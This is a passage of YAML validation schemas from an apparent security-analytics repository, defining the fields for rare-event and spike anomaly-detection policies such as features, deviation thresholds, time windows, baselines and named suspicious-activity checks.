True 16 | type: str 17 | "category": 18 | required: True 19 | type: str 20 | "threatname": 21 | required: True 22 | type: str 23 | "functionality": 24 | required: True 25 | type: str 26 | "behavior": 27 | type: map 28 | mapping: 29 | "rare_behavior": 30 | type: map 31 | mapping: 32 | "behavior_profile": 33 | type: map 34 | mapping: 35 | "name": 36 | required: True 37 | type: str 38 | "feature": 39 | required: True 40 | type: seq 41 | sequence: 42 | - type: str 43 | "suspectcheckslist": 44 | required: True 45 | type: str 46 | enum: [ 47 | SuspiciousIPAddressDetectedForAccount, 48 | SuspiciousTransactionDetectedForAccount, 49 | SuspiciousIPAddressDetectedForResource, 50 | SuspiciousTransactionDetectedForResource, 51 | SuspiciousAccountDetectedForResource, 52 | SuspiciousGeolocationDetectedForAccount, 53 | SuspiciousActivityOnResourceGroup, 54 | SuspiciousActivityOnResourceType, 55 | SuspiciousActivityOnFunctionality, 56 | ] 57 | "deviation": 58 | required: True 59 | type: float -------------------------------------------------------------------------------- /yaml/validation/rare_schema.yml: -------------------------------------------------------------------------------- 1 | type: map 2 | mapping: 3 | "tldr": #describe the attack/exploit/tool covered 4 | type: str 5 | "atd": # [optional] link to an attack testing dataset 6 | type: str 7 | "drc": # [optional] generic detection-and-response-as-code (DRC) threat investigation code 8 | type: str 9 | "vizr": # [optional] vizr-specific instructions/code 10 | type: str 11 | "snpr_policy": 12 | type: map 13 | mapping: 14 | "violator": 15 | required: True 16 | type: str 17 | "category": 18 | required: True 19 | type: str 20 | "threatname": 21 | required: True 22 | type: str 23 | "functionality": 24 | required: True 25 | type: str 26 | "behavior": 27 | type: map 28 | mapping: 29 | "event_rarity": 30 | type: map 31 | mapping: 32 | "behavior_profile": 33 | type: map 34 | mapping: 35 | "feature": #Features for event rarity 36 | required: True 37 | type: seq 38 | sequence: 39 | - type: str 40 | "maxDaysClassCanBeSeen": #Whitelist the unique combination of features if found more than. 41 | required: True 42 | type: int 43 | range: 44 | min: 1 45 | max: 31 46 | "deviation": #Sigma Threshold Value (0.85 - 30 days) 47 | required: True 48 | type: float 49 | range: 50 | min: 0 51 | max: 1 52 | "suspectcheckslist": #Analytical Technique to run 53 | required: True 54 | type: str 55 | enum: [RareActivityOnAccount, RareActivityOnResource, RareActivityOnResourceGroup, RareActivityOnResourceType, RareActivityOnFunctionality] 56 | -------------------------------------------------------------------------------- /yaml/validation/spike_schema.yml: -------------------------------------------------------------------------------- 1 | type: map 2 | mapping: 3 | "tldr": #describe the attack/exploit/tool covered 4 | type: str 5 | "atd": # [optional] link to an attack testing dataset 6 | type: str 7 | "drc": # [optional] generic detection-and-response-as-code (DRC) threat investigation code 8 | type: str 9 | "vizr": # [optional] vizr-specific instructions/code 10 | type: str 11 | "snpr_policy": 12 | type: map 13 | mapping: 14 | "violator": 15 | required: True 16 | type: str 17 | "category": 18 | required: True 19 | type: str 20 | "threatname": 21 | required: True 22 | type: str 23 | "functionality": 24 | required: True 25 | type: str 26 | "behavior": 27 | type: map 28 | mapping: 29 | "spike": 30 | type: map 31 | mapping: 32 | "behavior_profile": 33 | type: map 34 | mapping: 35 | "name": 36 | required: True 37 | type: str 38 | "feature": 39 | required: True 40 | type: seq 41 | sequence: 42 | - type: str 43 | "time_window": 44 | required: True 45 | type: str 46 | enum: [Hourly, Daily, Weekly, Monthly, 'Day of Week'] 47 | "baseline": 48 | required: True 49 | type: str 50 | enum: [Self, 'Other Accounts', 'Peer Groups'] 51 | "deviation": 52 | required: True 53 | type: float 54 | "suspectcheckslist": #Analytical Technique to run 55 | required: True 56 | type: str 57 | enum: [DailyCheckTranAccountRarity, DailyCheckTranAccount] --------------------------------------------------------------------------------